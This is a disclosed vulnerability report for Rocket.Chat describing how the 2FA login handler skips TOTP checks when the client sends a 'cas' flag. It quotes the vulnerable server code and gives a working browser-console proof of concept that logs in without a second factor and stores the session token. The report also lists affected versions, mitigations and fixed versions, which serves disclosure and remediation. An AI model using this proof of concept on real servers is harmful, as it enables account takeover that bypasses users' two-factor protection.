2

TOTP 2 Factor Authentication Bypass

Share:

SUMMARY BY ROCKET.CHAT

Summary

Two Factor Authentication can be bypassed when telling the server to use CAS during login.

Description

The 2FA Login Handler skips validation when it finds CAS enabled. When the clients sends the option among the login request, the login proceeds without validation of a second factor.

In app/2fa/server/loginHandler.js#L17-L42 there is a return condition when the `cas` argument is not falsy:

Code 511 Bytes

```
callbacks.add(
  'onValidateLogin',
  (login) => {
      if (login.type === 'resume' || login.type === 'proxy' || login.methodName
          return login;
      }

      const [loginArgs] = login.methodArguments;
      // CAS login doesn't yet support 2FA.
      if (loginArgs.cas) {
          return login;
      }

      const { totp } = loginArgs;

```

```
          options: { disablePasswordFallback: true },
      });

      return login;
  },
  callbacks.priority.MEDIUM,
  '2fa',
);
```

Releases Affected:

- 4.3.1
- 3.18.3
- develop

Steps To Reproduce (from initial installation to vulnerability):

1. Create User account with 2FA enabled
2. Logout and open Rocket.Chat login page
3. Open Web Inspector
4. Paste Proof of Concept (set valid USER/PASSWORD of an account with 2FA enabled)

Supporting Material/References:

Proof of Concept

Code 621 Bytes

```
const USER = "target";
const PASSWORD = "correct horse battery staple";

fetch("/api/v1/login", {
 method: "POST",
 body: `{
     "cas": true,
     "totp": {
         "code": "Not Today",
             "type": "resume",
             "login": {
                 "user": {
            }
        }
    }`,
    headers: {
        "Content-Type": "application/json"
    }
})
.then(res => res.json())
.then(({ data: { userId, authToken }}) => {
    console.log(`login as ${userId}`);
    Meteor._localStorage.setItem(Accounts.USER_ID_KEY, userId);
    Meteor._localStorage.setItem(Accounts.LOGIN_TOKEN_KEY, authToken);
    window.location.reload()
});
```

Suggested mitigation

- Check on server side whether CAS is enabled and do not only trust the client.
- Inform administrators in the UI that CAS conflicts 2FA authentication

Impact

Bypass of 2FA TOTP authentication.

Fix

Fixed in versions 4.7.5, 4.8.2, 5.0.0>

TIMELINE

gronke submitted a report to Rocket.Chat. Jan 12th (11 months ago)

lucas_magno Rocket.Chat staff changed the status to ○ **Triaged**. Jan 13th (11 months ago)

lucas_magno Rocket.Chat staff posted a comment. Jan 13th (11 months ago)

mrrorschach Rocket.Chat staff closed the report and changed the status to ○ **Resolved**. Jul 25th (4 months ago)

mrrorschach Rocket.Chat staff requested to disclose this report. Sep 22nd (2 months ago)